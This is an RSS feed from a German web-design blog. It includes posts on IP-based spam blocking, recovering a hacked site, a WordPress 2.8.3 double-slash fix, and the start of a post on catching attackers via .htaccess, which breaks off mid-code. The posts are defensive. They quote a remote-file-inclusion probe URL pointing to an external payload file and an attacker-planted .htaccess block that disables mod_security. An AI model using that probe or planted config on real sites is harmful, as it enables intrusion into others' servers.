<p>Im Projekt »<a hreflang="en" href="http://www.stopforumspam.com/">Stop Forum Spam</a>« werden, wie der Name schon andeutet, Daten von Forenspammern gesammelt: Name, E-Mail- und IP-Adresse. Schlägt man dort eine IP-Adresse nach, bekommt man gleich auch die spammigen Nachbaradressen.<br />
Wenn ich mal eine lange Liste von IP-Adressen habe, lasse ich sie dort nachsehen, und wenn sie schon bekannt sind, <a href="http://toscho.de/2009/htaccess-angriffe-sehen-blockieren/">blockiere ich sie</a> samt ihrer Nachbarn in allen Blogs, die ich betreue.<br />
Ausnahme: »Deutsche« IPs blocke ich nicht, sondern ich schicke dem Provider eine Abuse-Mail.</p>
<p>Ich hatte dafür mal eine automatische Lösung, die leider nach einem Akismet-Update nicht mehr läuft. Da ich vermutlich nicht bei Akismet bleiben werde, habe ich das nicht mehr nachgeflickt.</p>
<p>Die Lösung hat den großen <strong>Vorteil</strong>, daß sie den Spammer wegschickt, bevor WordPress überhaupt geladen wird. Sie ist also sehr schnell.<br />
Der <strong>Nachteil</strong> ist gegenwärtig die umständliche Handhabung. Ich werde vielleicht mal automatisch alle neuen IP-Adressen einmal pro Tag abfragen und in meine Liste übernehmen.</p>
<h2>Mitmachen</h2>
<p>Dieser Artikel ist Teil einer kleinen Aktion, die den Lesern eine Entscheidungshilfe geben soll. Wenn du auch ein Blog betreibst – es muß nicht WordPress sein – dann sieh doch mal in die <a href="http://toscho.de/2010/kriterien-vergleich-antispam/">Checkliste</a>, und schreib einfach los.</p>
<p>Die folgende Liste ergänze ich, sobald ich von deinem Artikel erfahre:</p>
<ul>
<li>Micha: <a href="http://dynamicinternet.eu/blog/2010-01-04/antispam-bee-wordpress-antispam-loesung/">Antispam Bee – Meine WordPress Antispam Lösung</a></li>
<li>Frank Bültge: <a href="http://bueltge.de/wp-js-antispam-plugin/418/">WP - JS AntiSpam Plugin</a></li>
<li>Dominik (ocean90): <a href="http://ocean90.wphelper.de/3192/antispam-bee-spam-entkommen/">Biene versus Spam oder mit Antispam Bee dem Spam entkommen</a></li>
<li>Helmut Pozimski: <a href="http://blog.pozimski.eu/2010/01/09/der-alltagliche-kampf-gegen-den-blogspam/">Der alltägliche Kampf gegen den Blogspam</a> (Plugin <a href="http://www.svenkubiak.de/nospamnx/">NospamNX</a>)</li>
<li>Marco Döhring: <a href="http://mmd42.de/2010-01/spam-mit-wordpress-und-mollom-bekaempfen/">Spam mit WordPress und Mollom bekämpfen</a> – funktioniert mit OpenID.</li>
<li>Dieter Welzel: <a href="http://www.webseiten-infos.de/spam-schutz-auf-webseiten-infos-de/">Spam-Schutz auf Webseiten-Infos.de</a> (mehrere Plugins und Techniken)</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://toscho.de/2010/spam-verhindern-akismet-htaccess/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Designlinks 7</title>
		<link>http://toscho.de/2009/designlinks-7/</link>
		<comments>http://toscho.de/2009/designlinks-7/#comments</comments>
		<pubDate>Thu, 06 Aug 2009 13:18:15 +0000</pubDate>
		<dc:creator>Thomas Scholz</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Links]]></category>
		<category><![CDATA[Markup]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Typographie]]></category>
		<category><![CDATA[Webdesign]]></category>

		<guid isPermaLink="false">http://toscho.de/?p=1358</guid>
		<description><![CDATA[Wie und wovon Designer leben, Wallpaper und @font-face-Kits für Typographen, ein teures Javascript und eine Blogempfehlung.]]></description>
			<content:encoded><![CDATA[<p>Nein, ich hab sie nicht vergessen. Mir ging nur zeitweilig die Lust aus. Aber jetzt:</p>
<ol>
<li><a href="http://www.alistapart.com/articles/burnout/">Scott Boms: Burnout</a>.<br />
<blockquote><p>Web professionals are often expected to be “always on”—always working, absorbing information, and honing new skills. Unless our work and personal lives are carefully balanced, however, the physical and mental effects of an "always on" life can be debilitating.</p></blockquote>
<p>Boms spricht hier sehr offen über ein Problem, mit dem vermutlich viele Webworker zu kämpfen haben: Hinter all der guten Laune, dem steten Lernen, Basteln und Kritisieren, das man auf Twitter und den Fachblogs lesen kann, steht oft ein ungeheurer Druck, den niemand zeigen oder überhaupt wahrnehmen will.</li>
<li>Eine Monitortapete mit typographischen Fachbegriffen hat <a href="http://font.is/?p=1268">Sigurdur Armannsson entworfen</a>. Wer gibt uns das deutschsprachige Pendant?</li>
<li><a href="http://perishablepress.com/press/2009/08/02/the-5-minute-css-mobile-makeover/">Jeff Starr: The 5-Minute CSS Mobile Makeover</a>.<br />
Das Understatement des Monats. Lektüre satt.<br />
Ebenfalls dort: <a href="http://perishablepress.com/press/2009/07/13/htaccess-password-protection-tricks/">Htaccess Password-Protection Tricks</a>.</li>
<li><a href="http://www.fontsquirrel.com/fontface">@font-face-kits</a>.<br />
Das nenne ich mal praktisch: Knapp 200 Schriften als fertige Pakete inklusive EOT-Dateien und Beispielstylesheets zum Downlad.</li>
<li><a href="http://my.opera.com/hallvors/blog/2009/07/20/most-expensive-javascript-ever">Hallvord R. M. Steen: Most expensive javascript ever?</a><br />
Schlechte Scripte entpuppen sich ja oft als Verkaufsbremse. Aber so schlimm darf es nie werden.</li>
<li>BDG (Bund Deutscher Grafik-Designer e.V.): <a href="http://www.bdg-designer.de/pdfs/Ergebnisse_BDG-Umfrage2.pdf">Lebensumstände selbstständiger Designer nach dem Berufsstart (PDF)</a>.<br />
Die Ergebnisse einer Umfrage vom April dieses Jahres. Für den Nachwuchs vielleicht eine Entscheidungshilfe und sicher ein wichtiger Baustein des Businessplans.<br />
Ein paar interessante Zahlen:</p>
<ul>
<li>16,8% der Designer sind Quereinsteiger.</li>
<li>64,8% arbeiten ökonomisch selbständig, davon 60,7 % ohne Partner.</li>
<li>8% haben keinen Computer. Faxen die ihre Entwürfe?</li>
<li>35% kaufen keine Schriften, waraus der Autor flott schlußfolgert, daß die vermutlich klauen.</li>
<li>Wer nach Stunden abrechnet, liegt meistens zwischen 30—70 €. Wie man mit 30 € pro Stunde noch schwareze Zahlen schreiben kann, sei mal dahingestellt …</li>
<li>68,9% generieren neue Aufträge, indem sie von Bestandskunden empfohlen werden. Deshalb kostet das erste halbe Jahr auch so viel Kraft. Wer das durchhält und gute Arbeit abliefert, der braucht – so meine Erfahrung – kaum noch Akquise zu betreiben.</li>
<li>Die meisten Rechnungen werden binnen vier Wochen beglichen. Dennoch muß man immer einkalkulieren, daß ein Kunde gar nicht bezahlt. Das ist mir am Anfang passiert – sehr unangenehm. Nach der Vorkasse wurde offenbar nicht gefragt. Die spielt aber eine wichtige Rolle; nicht nur ökonomisch, sondern auch für die Motivation …</li>
<li>20% können nicht allein von ihrem Einkommen leben. Das ist eine Menge.</li>
</ul>
</li>
<li>Und noch ein Blog will ich empfehlen: <a href="http://blind-pr.blogspot.com/">Heiko Kunerts »Blind-PR«</a>.<br />
Heiko ist vollblind und schreibt mit viel Humor darüber. Besonders angesprochen haben mich die Geschichte über die aufdringlichen positiven Vorurteile eines … <a href="http://blind-pr.blogspot.com/2009/04/zu-fruh.html">Tischwegweisers</a> und <a href="http://www.rueckspiegel.org/">Ute Gerhardts</a> Gastbeitrag: »<a href="http://blind-pr.blogspot.com/2009/07/gastbeitrag-alltag-mit-blinden-eltern.html">Alltag mit blinden Eltern</a>«. Stöbert mal. Das lohnt sich.</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://toscho.de/2009/designlinks-7/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Website gehackt – und nun?</title>
		<link>http://toscho.de/2009/website-gehackt/</link>
		<comments>http://toscho.de/2009/website-gehackt/#comments</comments>
		<pubDate>Wed, 05 Aug 2009 15:05:16 +0000</pubDate>
		<dc:creator>Thomas Scholz</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Webdesign]]></category>

		<guid isPermaLink="false">http://toscho.de/?p=1449</guid>
		<description><![CDATA[Wie man reagiert, wenn der schlimmste Fall eingetreten ist. Genaue Anleitung, und ein Notfallpaket zum Download.]]></description>
			<content:encoded><![CDATA[<!--TOC--><br />
Auf deiner Website blitzt seltsame Werbung auf? Neuer Javascriptcode, Iframes, selbst im Backend? In deinen Verzeichnissen liegen neue Dateien, oder alte haben neuen Inhalt?</p>
<p><strong>Deine Website gehört dir nicht mehr.</strong></p>
<p>Schick stillen Dank zum Bösewicht, jetzt kannst du etwas lernen.</p>
<h2>1. Fenster zu!</h2>
<p>Zuerst möchtest du deinen Besuchern den Schadcode ersparen; also greif zur Keule. Lege eine Datei »<code>tmp.html</code>« ins Wurzelverzeichnis deiner Website:</p>
<pre class="notranslate">&lt;!Doctype html&gt;
&lt;title&gt;Wartungsarbeiten&lt;/title&gt;
&lt;meta name=&quot;<code class="string">robots</code>&quot; content=&quot;<code class="string">noindex</code>&quot;&gt;
&lt;p&gt;Wir streichen gerade alles neu, kitten die Fugen
und schrubben den Boden. Bis bald!&lt;/p&gt;</pre>
<p>In deine <code>.htaccess</code> schreibst du:</p>
<pre class="notranslate">RewriteEngine On
RewriteCond %{REQUEST_URI} !^/tmp\.html$
RewriteRule .* /tmp.html [L]</pre>
<p>Sonst sollte nichts anderes in deiner <code>.htaccess</code> stehen.</p>
<p class="downloadlink"><a href="http://f.toscho.de/notfallpaket.zip">Download Notfallpaket</a>.</p>
<p>Jetzt werden alle Zugriffe auf deine Seiten mit dieser HTML-Datei beantwortet. Kontrolliere das während der nächsten Schritte in engen Zeitabständen! Noch kann der Angreifer diesen Schutz entfernen.</p>
<h2>2. Betriebssystem säubern</h2>
<p>Oft kommt ein Angreifer nicht durch Lücken der Software in die Seite, sondern über den Rechner eines Benutzers mit FTP-Zugriff.</p>
<p>Das typische Szenario eines solchen Hacks sieht so aus: Du betreibst eine Website und verwaltest sie von einem Rechner aus, auf dem du Windows benutzt, im schlimmsten Fall mit einem Administratorkonto. Dort hast du dir Schadsoftware installiert, die alle Tastatureingaben an den neuen Besitzer deines Computers schickt. Irgendwann auch die FTP-Zugangsdaten.</p>
<p>Deshalb wäre jetzt schon eine Reparatur deiner Website <strong>reine Zeitverschwendung</strong>. </p>
<p>Bring zuerst deinen Rechner in Ordnung. Mein Tip: Besorg dir ein Betriebssystem, das sicherer konzipiert wurde als Windows, und arbeite künftig nur von dort aus mit deiner Website. </p>
<p>Ich empfehle <a href="http://de.opensuse.org/">OpenSuse</a>. Das verlangt keinen Freak für die Installation; es läßt sich leicht bedienen, und die <a href="http://forums.opensuse.org/">Community</a> hilft schnell, freundlich und kompetent. Eine Live-CD kannst du auch benutzen; die läuft ohne Installation.</p>
<p>Freilich verstecken sich Keylogger nicht nur im Betriebssystem; sie fühlen sich auch <a href="http://www.gulli.com/news/apple-tastatur-zum-keylogger-2009-08-02/">in Apple-Tastaturen</a> sehr wohl.</p>
<p>Alle weiteren Schritte mußt du von einem <strong>sauberen System</strong> aus vollziehen. Oder wieder und wieder, jede Woche neu.</p>
<p><em>Kontrolliere jetzt deine Wartungsseite. Wenn sie weg ist, stell sie wieder her.</em></p>
<h2>3. Paßwörter ändern</h2>
<p>Logge dich bei deinem Webhoster ein, und ändere das Paßwort für diesen Login. </p>
<p><img src="http://img.toscho.de/screenshots/software/filezilla-sicher.png" alt="Verschlüsselte Verbindung in Filezilla" width="260" height="400" class="alignright" />Lege ein neues FTP-Konto an, und kontrolliere mit einem FTP-Programm, ob es auch funktioniert. Benutze einen <strong>verschlüsselten Zugang</strong>, niemals normales FTP! Denn da werden deine Daten im Klartext übertragen.<br />
Sobald das neue Konto funktioniert, lösche alle alten.</p>
<p><em>Kontrolliere jetzt deine Wartungsseite.</em></p>
<p>Ändere <strong>alle Paßwörter</strong> für deine E-Mail-Konten, Webforen, Usenet und so weiter. Bitte benutze <a href="http://verschluesselung.info/passwort/">Paßwörter</a>, nicht <a href="http://www.openwall.com/passwords/wordlists/password.lst">Spaßwörter</a>! Und überall ein neues, sonst genügt es, <em>ein</em> Konto zu hacken, um <em>alle</em> anderen zu übernehmen …</p>
<h2>4. Daten sichern</h2>
<p>Sichere das Template deiner Website und deine Datenbank. Lösche dann alle Dateien auf deinem Webspace. Auch Bilder, Textdateien und Stylesheets – oft versieht der Angreifer seine Scripte mit irreführenden Dateiendungen.</p>
<p><em>Kontrolliere deine Wartungsseite.</em> Wenn sie nicht mehr steht, hast du einen Schritt ausgelassen. Geh nicht über Los, laß den Sekt geschlossen, und beginne von vorn.</p>
<p>Ehe du jetzt deine Backups einspielst – Keins da? Dann war’s nicht wichtig! – wird es Zeit für einen …</p>
<h2>5. Perspektivwechsel</h2>
<p>Nimm für ein paar Minuten die Perspektive des Angreifers ein. Du hast auf einer Website eine Lücke gefunden und freust dich nun: »Hier bin ich Held, hier brech’ ich ein!«</p>
<p>Du willst <strong>Geld</strong> mit dieser Website verdienen durch Werbung oder Schadcode, der die Rechner ihrer Besucher infiziert und in dein Botnetz einreiht. Du <em>weißt,</em> daß man dir irgendwann auf die Schliche kommt – und daß der Inhaber soviel Cleverness ausstrahlt wie ein Molch in der Wüste.</p>
<p>Deshalb baust du deinen Schadcode nicht sofort ein. Du sägt zunächst weitere Türen in die Website, versteckst auszuführenden Code in der Datenbank, in den Templates und in den Plugins. Außerdem infizierst du die Wächter (sogenannte »Antivirensoftware«), damit sie dich nicht verpetzen.</p>
<p>Und dann wartest du zwei Monate, ohne deinen Code zu aktivieren.</p>
<p>Warum? Weil du dann auch die <strong>Backups infiziert</strong> hast. Und weil niemand mehr deinen ursprünglichen Weg nachvollziehen kann.</p>
<p>Wenn dein Opfer aufräumt und das Backup der letzten Woche einspielt, wartest du wieder, bis es sich in Sicherheit wähnt – und stellst den alten Zustand wieder her. Dieses Spiel kostet dich fast nichts, und du kannst es Jahre hinziehen.</p>
<h2>6. Dateien säubern</h2>
<p>Kontrolliere also deine Backups, ehe du sie einspielst. Gründlich.</p>
<p>Suche beispielweise nach PHP-Code, der die Funktionen <a href="http://php.net/eval">eval()</a> oder <a href="http://php.net/base64_decode">base64_decode()</a> enthält. In <strong>allen Dateien</strong>, ungeachtet ihrer Endung. Und in der Datenbank. Wie knifflig das werden kann, beschreibt dieser Artikel: <a hreflang="en" lang="en" href="http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/">How to find a backdoor in a hacked WordPress</a>.</p>
<p><a href="http://ocaoimh.ie/did-your-wordpress-site-get-hacked/">Manchmal</a> steht auch in der .htaccess so etwas:</p>
<pre class="notranslate">&lt;ifmodule mod_security.c&gt;
&lt;files async-upload.php&gt;
SecFilterEngine Off
SecFilterScanPOST Off
&lt;/files&gt;
&lt;/ifmodule&gt;</pre>
<p>Hole den Code deines CMS’ nur vom originalen Anbieter. Gleiches gilt für die Plugins.</p>
<p>Das sind nur Beispiele. Wenn du dich in der Programmiersprache nicht sattelfest fühlst, die deine Website antreibt, oder sonst kleine Zweifel hast: Verpflichte jemanden, der sich auskennt. Nicht den Nachbarssohn, der Informatik studiert, oder den »günstigsten Anbieter«, sondern einen Profi, der für seine Arbeit haftet.</p>
<h2>7. Nachsorge</h2>
<p>Beobachte in den folgenden Wochen alle erfolglosen Loginversuche. Dein Hoster hat ein <strong>FTP-Log</strong> für dich, dessen Lektüre sich lohnt. Wenn er keins hergeben möchte, dann wechsle den Hoster. Jetzt.</p>
<p>Mit ein bißchen Glück findest du im Log den Angreifer, der mit den alten FTP-Daten herumspielt. Und mit noch mehr Glück kannst du seine IP-Adresse mit einer Strafanzeige verbinden … aber erwarte nicht zuviel. Wenn derjenige auch nur halb so viele Mühe investiert wie du, benutzt er einen <a href="http://www.anonym-surfen.com/anonym-surfen/anonym-proxy-server/">Anonymisierungsproxy</a>.</p>
<ul>
<li>Ziehe regelmäßig Backups deiner Website, und kontrolliere sie.</li>
<li>Stöbere in deinen alten Seiten, nachdem du dich ausgeloggt hast. Sieh dir auch den Quellcode an.</li>
<li>Grabe dich durch deinen Webspace per FTP, um neue Dateien aufzustöbern. Setze passende Rechte – nicht jede Datei muß von jedermann beschreibbar sein.</li>
<li>Halte deine Software auf dem aktuellen Stand. Die meisten Updates <a href="http://toscho.de/2009/wordpress-2-8-3-das-doppelslash-problem/">stopfen Sicherheitslücken</a>.</li>
</ul>
<p>Wenn dich das überfordert, oder du schon wieder Schadcode findest, dann <strong>delegiere</strong> diese Arbeit. Viele professionelle Webentwickler bieten einen Pflegevertrag an, der solche Arbeiten umfaßt.</p>
<p>Du warst, bist und bleibst für deine Website verantwortlich, für jeden Schaden, den sie erleidet oder verursacht. Ein Risiko bleibt immer. Dein waches Auge hoffentlich auch.</p>
<h2>Mehr Lektüre zum Thema</h2>
<ul>
<li><a href="http://toscho.de/2009/authentifizierung-php-utf-8/">Authentifizierung mit PHP und UTF-8</a></li>
<li><a href="http://toscho.de/2009/htaccess-angriffe-sehen-blockieren/">.htaccess: Angriffe sehen und blockieren</a></li>
<li><a href="http://toscho.de/2009/blocken-mit-htaccess/">Ungebetene Gäste mit .htaccess blocken</a></li>
<li><a href="http://toscho.de/2009/wordpress-2-8-3-das-doppelslash-problem/">WordPress 2.8.3: Das Doppelslash-Problem</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://toscho.de/2009/website-gehackt/feed/</wfw:commentRss>
		<slash:comments>42</slash:comments>
		</item>
		<item>
		<title>WordPress 2.8.3: Das Doppelslash-Problem</title>
		<link>http://toscho.de/2009/wordpress-2-8-3-das-doppelslash-problem/</link>
		<comments>http://toscho.de/2009/wordpress-2-8-3-das-doppelslash-problem/#comments</comments>
		<pubDate>Mon, 03 Aug 2009 23:13:43 +0000</pubDate>
		<dc:creator>Thomas Scholz</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Suchmaschinen]]></category>
		<category><![CDATA[Webdesign]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[HTTP]]></category>
		<category><![CDATA[Plugin]]></category>

		<guid isPermaLink="false">http://toscho.de/?p=1412</guid>
		<description><![CDATA[Über die reparierte Sicherheitslücke in der neuen Version und das noch bestehende Problem doppelten Inhaltes. Mit Code und Plugin zum Download.]]></description>
			<content:encoded><![CDATA[<p>WordPress hat inzwischen eine Komplexität erreicht, die locker an die vieler Content-Management-Systeme heranreicht. Nur so konnten die komfortablen Schnittstellen für <a href="http://toscho.de/angebote/wordpress/plugins/">Plugins</a>, <a href="http://toscho.de/2009/wordpress-parallele-widgets/">Widgets</a> und <a href="http://toscho.de/angebote/wordpress/themes/">Themes</a> realisiert werden.</p>
<p>Der Preis besteht aus mehr Fehlern. Das ist unvermeidlich, und es erstaunt auch niemanden, der selbst schon einmal programmiert hat.</p>
<p><a href="http://wordpress.org/development/2009/08/wordpress-2-8-3-security-release/">WordPress 2.8.3</a> stopft eine Sicherheitslücke, die <a href="http://forum.wordpress-deutschland.org/allgemeines/56205-permalinks-veraenderbar-fuer-jeden-registrierten-user.html">seit Freitag</a> bekannt ist: Einfache registrierte Nutzer konnten durch leicht geänderte URLs administrative Rechte ausüben. </p>
<p>Ich hatte zwar schnell eine Fix parat, aber das Team von WordPress Deutschland (WPD) hat mich gebeten, ihn nicht zu publizieren, weil man daraus die Lücke ableiten konnte.<br />
Dieses Verfahren, Problem <em>und</em> Lösung geheimzuhalten, heißt <dfn lang="en">Security by Obscurity</dfn>. Ich mag es nicht.<br />
Aber bitte … ich kann mein Geltungsbedürfnis gut genug im Zaum halten, um hier nachzugeben.</p>
<p>Dennoch stört mich das Prozedere. Ein Cracker hätte sich die unzensierte Fassung des ersten Reporters leicht aus dem Google-Cache holen können. Und der Administrator eines WordPress-Blogs? Der mußte diesen praktisch <a href="http://blog.wordpress-deutschland.org/2009/08/01/kritische-sicherheitsluecke-in-wordpress-2-8-2.html">unzumutbaren Rat</a> schlucken: </p>
<blockquote><p>Bis es einen Bugfix für das Problem gibt, raten wir dringend die Benutzerregistrierung zu deaktivieren und ggf. alle (unbekannten) registrierten Benutzer zu löschen, sofern dies vertretbar ist.</p></blockquote>
<p>Ich habe bei Twitter <a href="https://twitter.com/toscho/status/3102253548">meinen Bugfix angeboten</a>, und darauf haben sich einige Leute gemeldet – mit Webseiten, deren ganze <em>Funktionsweise</em> vom Engagement registrierter Benutzer abhing. Da sie nicht wußten, wie schnell die nächste Version kommen würde, waren sie verständlicherweise wenig begeistert.</p>
<p>Ich habe mich damit nicht wohl gefühlt, weil ich indirekt auch ein Akteur dieser … Geheimniskrämerei geworden bin.</p>
<p>Wer ein WordPress-Blog verwaltet und nicht die Zeit hat, jeden Tag ins Forum oder ins Blog zu sehen – der hat doch sicher den Feed des <a href="http://blog.wordpress-deutschland.org/">WPD-Blogs</a> abonniert. <em>Darüber</em> hätte man leicht die Reparatur verbreiten können – oder <strong>sollen</strong>.</p>
<p>Ach ja, dieser Schnipsel kommt in die <code>functions.php</code> des Themes:</p>
<pre class="notranslate">new Single_Slash;

class Single_Slash
{
    function Single_Slash() <i>// PHP 4. Wer das noch erleidet...</i>
    {
        if ( !strstr(<var>$_SERVER['<code class="string">REQUEST_URI</code>']</var>, '<code class="string">//</code>') )
        {
            return;
        }

        header('<code class="string">Location: </code>'
            . ( empty ( <var>$_SERVER['<code class="string">HTTPS</code>']</var> ) ? '<code class="string">http</code>' : '<code class="string">https</code>' )
            . '<code class="string">://</code>'. <var>$_SERVER['<code class="string">HTTP_HOST</code>']</var>
            . preg_replace('<code class="string">~/+~</code>', '<code class="string">/</code>', <var>$_SERVER['<code class="string">REQUEST_URI</code>']</var>), TRUE, 301);
        die();
    }
}</pre>
<p class="downloadlink"><a class='piwik_download' href="http://f.toscho.de/SingleSlash.zip">Download als WordPress-Plugin</a>.</p>
<p>Das ist alles. Wenn man einen Doppelslash eingibt, wird man auf eine URL umgeleitet, die eine Kette beliebig vieler Slashes durch genau einen ersetzt.</p>
<p>In WordPress 2.8.3 lenkt einen das <strong>Backend</strong> jetzt zum Login, wenn man so eine URL eingibt.</p>
<p>Im <strong>Frontend</strong> bleibt der Mehrfachslash stehen. Probiert es im eigenen Blog: Verdoppelt in einer URL einen Slash, und staunt über die neue URL dieser Seite. Dem Gebot <a href="http://schneegans.de/tips/kanonische-adressen/">kanonischer Adressen</a> entspricht das nicht gerade.</p>
<p>Wie relevant ist das? Ein <strong>Beispiel</strong>: Ihr habt ein Blog, das jemand gerne aus seiner guten Position bei Google verdrängen möchte. Er bastelt sich ein Netz kostenloser Weblogs und verfaßt Beiträge, die auf die »alternativen« Adressen der Seiten zeigen, die bei euch am höchsten bewertet werden. Dann wartet er, bis Google erst seine Beiträge indiziert und dann eure »neuen« Seiten. Plötzlich habt ihr eine <em>Menge</em> <a href="http://googlewebmastercentral.blogspot.com/2006/12/deftly-dealing-with-duplicate-content.html">doppelten Inhalt</a>. Lustig, oder?</p>
<p>Ein kleiner Test im <a href="http://blog.s9y.org/">Serendipity-Blog</a> zeigt übrigens, daß nicht nur WordPress daran krankt. ☻</p>
<p>Dem kann man zwar mit der <a href="http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html">Angabe der kanonischen URL im Markup</a> begegnen, aber das kommt eigentlich zu spät: Ein menschlicher Besucher erfährt davon nichts; er wird eventuell die falsche URL in seinen Lesezeichen verwenden, oder in Links zu eurer Seite. Adressierungsprobleme sollten nicht im Markup gelöst werden, sondern auf der Protokollebene, in HTTP also.</p>
<p>Deshalb bleibt dieser Schnipsel in meinem Theme.</p>
<p>Noch ein Bugfix hat es in dieses Release geschafft, über den sich bestimmt jeder freut: Die <a href="http://core.trac.wordpress.org/ticket/10466">URL eines Kommentators verschwindet</a> jetzt nicht mehr, wenn man dessen Text bearbeitet.</p>
<p>Dafür müssen <a href="http://core.trac.wordpress.org/milestone/2.8.3">noch 48 Bugs</a>, deren Reparatur für diese Version geplant war, auf die nächste warten. So sei es.</p>
<p>Zieht das Update. Es läuft problemlos (zumindest wenn man es per FTP durchführt) und ist auch schon <a href="http://blog.wordpress-deutschland.org/2009/08/03/wordpress-2-8-3-inkl-de-edition-und-upgradepaket-veroeffentlicht.html">auf Deutsch</a> zu haben.</p>
<p>Immerhin wurde das Loch gestopft, wenngleich der Bug noch zuckt.</p>
<h2>Update 04.08.09</h2>
<p>Markus Wulftange hat eine <a href="http://www.modrewrite.de/foren/fpost27681.html">Lösung gefunden</a>, die per <code>.htaccess</code> und <i lang="en">mod_rewrite</i> funktioniert:</p>
<pre class="notranslate">RewriteEngine On
RewriteBase /
RewriteCond %{THE_REQUEST} ^[A-Z]+\ /(([^/\ ]+/)*)/+([^\ ]*)
RewriteRule ^ /%1%3 [L,R=301]</pre>
<p>Das ist deutlich besser als meine PHP-Variante.</p>
<h2>Mehr Lektüre zum Thema</h2>
<ul>
<li><a href="http://toscho.de/2009/htaccess-angriffe-sehen-blockieren/">.htaccess: Angriffe sehen und blockieren</a></li>
<li><a href="http://toscho.de/2009/blocken-mit-htaccess/">Ungebetene Gäste mit .htaccess blocken</a></li>
<li><a href="http://toscho.de/2009/website-gehackt/">Website gehackt – und nun?</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://toscho.de/2009/wordpress-2-8-3-das-doppelslash-problem/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>.htaccess: Angriffe sehen und blockieren</title>
		<link>http://toscho.de/2009/htaccess-angriffe-sehen-blockieren/</link>
		<comments>http://toscho.de/2009/htaccess-angriffe-sehen-blockieren/#comments</comments>
		<pubDate>Sat, 18 Jul 2009 16:08:54 +0000</pubDate>
		<dc:creator>Thomas Scholz</dc:creator>
				<category><![CDATA[Interna]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Webdesign]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[HTTP]]></category>

		<guid isPermaLink="false">http://toscho.de/?p=1337</guid>
		<description><![CDATA[Wie man Angriffe auf die eigene Website nicht anhand des HTTP-Requests blockiert, sondern auf Grundlage der IP-Adresse. Download und Code inklusive.]]></description>
			<content:encoded><![CDATA[<p>Jede Website ist ein Angriffsziel. Ob groß oder klein, ob dynamisch oder statisch&#160;– das spielt kaum eine Rolle. Denn nicht nur <a href="http://www.heise.de/security/Erste-Schritte-mit-der-Einbruchserkennung-PHPIDS--/artikel/136032">Scripte</a> können Sicherheitslücken haben, sondern auch <a href="http://www.google.com/search?q=site%3Asecunia.com+web+server+buffer+overflow">Webserver</a>.</p>
<p>Auf dieses Problem gibt es drei Antworten:</p>
<ol>
<li>Augen zu, und hoffen, daß es einen selbst nicht trifft. Das ist leider der Normalfall.</li>
<li>Möglichst viele Angriffe automatisiert schon bei der Anfrage erkennen und blockieren. Dazu habe ich schon <a href="http://toscho.de/2009/blocken-mit-htaccess/">einen Ansatz vorgestellt</a>.</li>
<li>Nicht den einzelnen Angriff blockieren, sondern den <em>Angreifer</em>.</li>
</ol>
<p>Heute möchte ich die dritte Variante anhand des Webservers Apache und der Steuerungsdatei <code>.htaccess</code> diskutieren. Sie funktioniert im Groben so:</p>
<ol>
<li>Ich verbiete in der <code>.htaccess</code> die <a href="http://ha.ckers.org/xss.html">typischen XSS-Requests</a> <em>nicht mehr</em>, sondern ich lasse mir eine E-Mail schicken, wenn ein Request mit dem Status 404 beantwortet wird.</li>
<li>In der E-Mail stehen dann die Details des Requests, natürlich auch die IP-Adresse.</li>
<li>Diese IP-Adresse überprüfe ich dann: Aus welchem Land kommt sie und von welchem Anbieter?</li>
<li>Deutsche Anbieter bekommen dann von mir eine Nachricht und die Bitte, das Problem aus der Welt zu räumen. Klappt oft ganz gut. Ein bißchen hoffe ich hier auch, daß dem Angreifer Vertrag gekündigt wird, über den er sein Script laufen läßt (Webhosting oder gar der eigene Internet-Anschluß).</li>
<li>Kommt die IP-Adresse woanders her, sperre ich sie per <code>.htaccess</code>. Dafür sind keine langsamen Rewrite-Regeln nötig, also profitieren alle anderen Besucher von einer verbesserten Performance.</li>
</ol>
<p>Der <strong>Vorteil</strong> dieses Ansatzes: Wenn der Angreifer eine Methode probiert, die ich noch nicht kenne, spielt das kaum eine Rolle, denn er kann ja nicht mehr zugreifen. Üblicherweise testet er aber zuerst die <em>einfachen</em> Methoden, die ich sofort erkenne. Die sehen meistens so aus:</p>
<pre class="notranslate">http://example.net//public_includes/pub_blocks/activecontent.php?vsDragonRootPath=http://example.com/id2.txt</pre>
<p>Der <strong>Nachteil</strong>: Ich muß schnell reagieren. Wer nicht jeden Tag mehrere Stunden online ist, sollte diesen Weg nicht gehen.</p>
<p>Okay, genug der Theorie, zur Praxis!</p>
<p>Wir brauchen eine <a href="http://toscho.de/404">404-Seite</a> mit automatischem E-Mailversand. Das darf ganz einfach sein:</p>
<pre>&lt;?php
header('<code class="string">Content-Type: text/html;charset=utf-8</code>');
header('<code class="string">HTTP/1.0 404 Not Found</code>');
?&gt;
&lt;!doctype html&gt;
&lt;html lang=&quot;<code class="string">de</code>&quot;&gt;
&lt;meta charset=&quot;<code class="string">utf-8</code>&quot;&gt;
&lt;title&gt;404&lt;/title&gt;
&lt;h1&gt;404&lt;/h1&gt;
&lt;p&gt;&lt;?php echo htmlspecialchars(<var>$_SERVER['<code class="string">REDIRECT_URL</code>']</var>); ?&gt; haben wir nicht.
Zur &lt;a href=&quot;<code class="string">/</code>&quot;&gt;Startseite&lt;/a&gt;.&lt;/p&gt;
&lt;?php
<em>// Yahoo und Google interessieren uns nicht.</em>
if ( ! ( FALSE !== strpos(<var>$_SERVER['<code class="string">REQUEST_URI</code>']</var>, '<code class="string">noexist</code>' )
